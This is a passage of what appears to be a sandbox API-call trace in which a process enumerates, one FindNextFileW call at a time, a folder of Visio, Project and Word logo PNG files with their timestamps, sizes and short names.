ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogo.scale-80.png", cAlternateFileName="VI2F4A~1.PNG")) returned 1 [0189.611] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-100.png", cAlternateFileName="VI6631~1.PNG")) returned 1 [0189.611] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x899, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-140.png", cAlternateFileName="VI2462~1.PNG")) returned 1 [0189.611] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-180.png", cAlternateFileName="VI71F6~1.PNG")) returned 1 [0189.611] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-black_scale-80.png", cAlternateFileName="VI602A~1.PNG")) returned 1 [0189.611] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-100.png", cAlternateFileName="VI77E0~1.PNG")) returned 1 [0189.611] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a79652b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a79652b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-140.png", cAlternateFileName="VI3512~1.PNG")) returned 1 [0189.612] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-180.png", cAlternateFileName="VI82A6~1.PNG")) returned 1 [0189.612] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.contrast-white_scale-80.png", cAlternateFileName="VIEC8E~1.PNG")) returned 1 [0189.612] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-100.png", cAlternateFileName="VI400A~1.PNG")) returned 1 [0189.615] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-140.png", cAlternateFileName="VIF275~1.PNG")) returned 1 [0189.616] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-180.png", cAlternateFileName="VI3544~1.PNG")) returned 1 [0189.616] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLogoSmall.scale-80.png", cAlternateFileName="VIA6C1~1.PNG")) returned 1 [0189.616] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-100.png", cAlternateFileName="WINPRO~3.PNG")) returned 1 [0189.616] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-140.png", cAlternateFileName="WINPRO~1.PNG")) returned 1 [0189.616] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7bc76a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-180.png", cAlternateFileName="WINPRO~2.PNG")) returned 1 [0189.616] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x814, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-black_scale-80.png", cAlternateFileName="WIE37A~1.PNG")) returned 1 [0189.616] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-100.png", cAlternateFileName="WIA969~1.PNG")) returned 1 [0189.617] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-140.png", cAlternateFileName="WID2E1~1.PNG")) returned 1 [0189.617] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-180.png", cAlternateFileName="WI9EA3~1.PNG")) returned 1 [0189.617] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x836, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.contrast-white_scale-80.png", cAlternateFileName="WI385D~1.PNG")) returned 1 [0189.617] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x935, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-100.png", cAlternateFileName="WI7FD4~1.PNG")) returned 1 [0189.618] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-140.png", cAlternateFileName="WI3D06~1.PNG")) returned 1 [0189.618] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-180.png", cAlternateFileName="WI8A9A~1.PNG")) returned 1 [0189.618] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x890, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogo.scale-80.png", cAlternateFileName="WI01D8~1.PNG")) returned 1 [0189.618] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x759, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-100.png", cAlternateFileName="WI30FF~1.PNG")) returned 1 [0189.618] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7bc76a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7bc76a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x840, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-140.png", cAlternateFileName="WINPRO~4.PNG")) returned 1 [0189.618] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xacd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-180.png", cAlternateFileName="WIE311~1.PNG")) returned 1 [0189.618] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x610, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-black_scale-80.png", cAlternateFileName="WIC0C5~1.PNG")) returned 1 [0189.619] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-100.png", cAlternateFileName="WIB14C~1.PNG")) returned 1 [0189.619] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x837, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-140.png", cAlternateFileName="WI0FC0~1.PNG")) returned 1 [0189.619] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-180.png", cAlternateFileName="WICCF1~1.PNG")) returned 1 [0189.619] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x60a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.contrast-white_scale-80.png", cAlternateFileName="WICBAE~1.PNG")) returned 1 [0189.619] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-100.png", cAlternateFileName="WIC069~1.PNG")) returned 1 [0189.623] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x869, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-140.png", cAlternateFileName="WIBBE1~1.PNG")) returned 1 [0189.623] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xacd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-180.png", cAlternateFileName="WIB5A3~1.PNG")) returned 1 [0189.623] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a7e29bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x676, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinProjLogoSmall.scale-80.png", cAlternateFileName="WI3748~1.PNG")) returned 1 [0189.623] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8c7801, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8c7801, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8c7801, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-100.png", cAlternateFileName="WI8B9B~1.PNG")) returned 1 [0189.623] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-140.png", cAlternateFileName="WIE5F9~1.PNG")) returned 1 [0189.623] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-180.png", cAlternateFileName="WI28C8~1.PNG")) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-black_scale-80.png", cAlternateFileName="WI813E~1.PNG")) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a7e29bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a7e29bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a8a15c5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-100.png", cAlternateFileName="WINWOR~4.PNG")) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: lpFindFileData=0x1fcee1e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a8a15c5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a8a15c5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinWordLogo.contrast-white_scale-140.png", cAlternateFileName="WID44A~1.PNG")) returned 1 [0189.624] FindNextFileW (in: hFindFile=0x1ecdd350, lpFindFileData=0x1fcee1e0 | out: 